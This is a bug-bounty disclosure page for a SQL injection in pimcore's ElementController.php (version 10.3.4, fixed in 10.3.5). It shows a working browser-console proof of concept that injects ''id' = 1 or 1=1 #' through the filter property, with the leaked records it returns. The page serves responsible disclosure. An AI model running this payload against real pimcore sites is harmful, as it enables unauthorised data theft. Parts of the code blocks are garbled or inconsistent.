

SQL injection in ElementController.php in pimcore/pimcore



Reported on Apr 8th 2022

Description

The property parameter is append to the sql query directly, which leads to a sql injection problem. if you set a wrong value. you can see the error from log.

then you can check the result.

```

> fetch("https://demo.pimcore.fun/admin/element/note-list?action=read&_dc=1649418934472", {
  "headers": {
    "accept": "*/*",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "sec-ch-ua": "\"Not A;Brand\";v=\\\"99\\\"\", \"Chromium\";v=\\\"99\\\"\", \"Microsoft Edge\";v=\\\"99\\\"\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-pimcore-csrf-token": "3ad6fabd75687a8d4571228d9a6e7fafaf3a2bb",
    "x-pimcore-extjs-version-major": "7",
    "x-pimcore-extjs-version-minor": "0",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "https://demo.pimcore.fun/admin/?_dc=1649418511&perspective=",
  "referrerPolicy": "origin-when-cross-origin",
  "body": "filterText=sdf&page=1&start=0&limit=50",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(r=>console.log(r));
< Promise {<pending>}
{
  "data": [
    {
      "id": 223,
      "type": "Status update",
      "cid": 1100,
      "ctype": "object",
      "cpath": "",
      "date": 1567067129,
      "title": "Reopen Product",
      "description": "asedfsdf",
      "data": [],
      "user": ""
    },
    {
      "id": 218,
      "type": "Status update",
      "cid": 1100,
      "ctype": "object",
      "cpath": "",
      "date": 1567066803,
      "title": "Reopen Product",
      "description": "\u00b4sdf",
      "data": [],
      "user": ""
    },
    {
      "id": 198,
      "type": "Status update",
      "cid": 1100,
      "ctype": "object",
      "cpath": "",
      "date": 1567066680,
      "title": "Reopen Product",
      "description": "xydsdf",
      "data": [],
      "user": ""
    },
    {
      "id": 153,
      "type": "Status update",
      "cid": 1076,
      "ctype": "object",
      "cpath": "",
      "date": 1566993925,
      "title": "Mark Product Done",
      "description": "sdfs",
      "data": [],
      "user": ""
    }
  ],
  "success": true,
  "total": 5
}
> fetch("https://demo.pimcore.fun/admin/element/note-list?action=read&_dc=1649418934472", {
  "headers": {

```

after injection

Chat with us

```
> fetch("https://demo.pincore.fun/admin/element/note-list?xaction=read&_dc=1649418934472", {
  "headers": {
    "accept": "**/*",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "sec-ch-ua": "\"Not A:Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-pincore-csrf-token": "3ad6bfabd75687a8d4751228d9a6e7fafaf3a2bb",
    "x-pincore-extjs-version-major": "7",
    "x-pincore-extjs-version-minor": "0",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "https://demo.pincore.fun/admin/?_dc=1649418511&perspective=",
  "referrerPolicy": "origin-when-cross-origin",
  "body": "filterText=sdf&page=1&start=0&limit=50&filter="+encodeURIComponent(['{"property":"id" = 1 or 1=1 # "', "type":"string","value":"1","operator":"="}']),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(r=>console.log(r));
< ▶ Promise {<pending>}
{"data":[{"id":1,"type":"cmf.SegmentManager","cid":704,"ctype":"object","cpath":"","date":1566671486,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/male","data":[{"type":"object","name":"segment1","data":{"id":834,"path":"/Customer Management/segments/calculated/Gender/male","type":"object"}}]}, {"id":2,"type":"cmf.SegmentManager","cid":710,"ctype":"object","cpath":"","date":1566671487,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/not-set","data":[{"type":"object","name":"segment1","data":{"id":836,"path":"/Customer Management/segments/calculated/Gender/not-set","type":"object"}}]}, {"id":3,"type":"cmf.SegmentManager","cid":712,"ctype":"object","cpath":"","date":1566671487,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/not-"}]
```

Proof of Concept

```
> fetch("https://demo.pincore.fun/admin/element/note-list?xaction=read&_dc=1649418934472", {
  "headers": {
    "accept": "**/*",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "sec-ch-ua": "\"Not A:Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-pincore-csrf-token": "3ad6bfabd75687a8d4751228d9a6e7fafaf3a2bb",
    "x-pincore-extjs-version-major": "7",
    "x-pincore-extjs-version-minor": "0",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "https://demo.pincore.fun/admin/?_dc=1649418511&perspective=",
  "referrerPolicy": "origin-when-cross-origin",
  "body": "filterText=sdf&page=1&start=0&limit=50&filter="+encodeURIComponent(['{"property":"id" = 1 or 1=1 # "', "type":"string","value":"1","operator":"="}']),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(r=>console.log(r));
< ▶ Promise {<pending>}
{"data":[{"id":1,"type":"cmf.SegmentManager","cid":704,"ctype":"object","cpath":"","date":1566671486,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/male","data":[{"type":"object","name":"segment1","data":{"id":834,"path":"/Customer Management/segments/calculated/Gender/male","type":"object"}}]}, {"id":2,"type":"cmf.SegmentManager","cid":710,"ctype":"object","cpath":"","date":1566671487,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/not-set","data":[{"type":"object","name":"segment1","data":{"id":836,"path":"/Customer Management/segments/calculated/Gender/not-set","type":"object"}}]}, {"id":3,"type":"cmf.SegmentManager","cid":712,"ctype":"object","cpath":"","date":1566671487,"title":"Segment(s) added (GenderSegmentBuilder)","description":"/Customer Management/segments/calculated/Gender/not-"}]
```

// PoC.js

"body": "filterText=sdf&page=1&start=0&limit=50&filter="+encodeURIComponent



Impact

This vulnerability is capable of steal the data

Occurrences



ElementController.php L249

(Published)

Vulnerability Type

CWE-89: SQL Injection

Severity

High (8.8)

Registry

Packagist

Affected Version

10.3.4

Visibility

Public

Status

Fixed

Found by



mylong

@mylong

unranked ▼

Fixed by



aryaantony92

@aryaantony92

maintainer

This report was seen 833 times.

We are processing your report and will contact the **pimcore** team within 24 hours. 8 months ago

mylong modified the report 8 months ago

We have contacted a member of the **pimcore** team and are waiting to hear back 8 months ago

A **pimcore/pimcore** maintainer has acknowledged this report 8 months ago

aryaantony92 validated this vulnerability 7 months ago

Chat with us

mylong has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

aryaantony92 marked this as fixed in 10.3.5 with commit adae3b 7 months ago

aryaantony92 has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

ElementController.php#L249 has been validated ✓

mylong 7 months ago

Researcher

Hi,@aryaantony92. the fixup in line 245. `$dateCondition = '' . $filter[$propertyKey] . ' ' . ' BETWEEN ' . $db->quote($value) . ' AND ' . $db->quote($maxTime);` may be the `$filter[$propertyKey]` should also be quoted?

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

418sec

part of 418sec

company

about

team

Chat with us

[terms](#)

[privacy policy](#)

[Chat with us](#)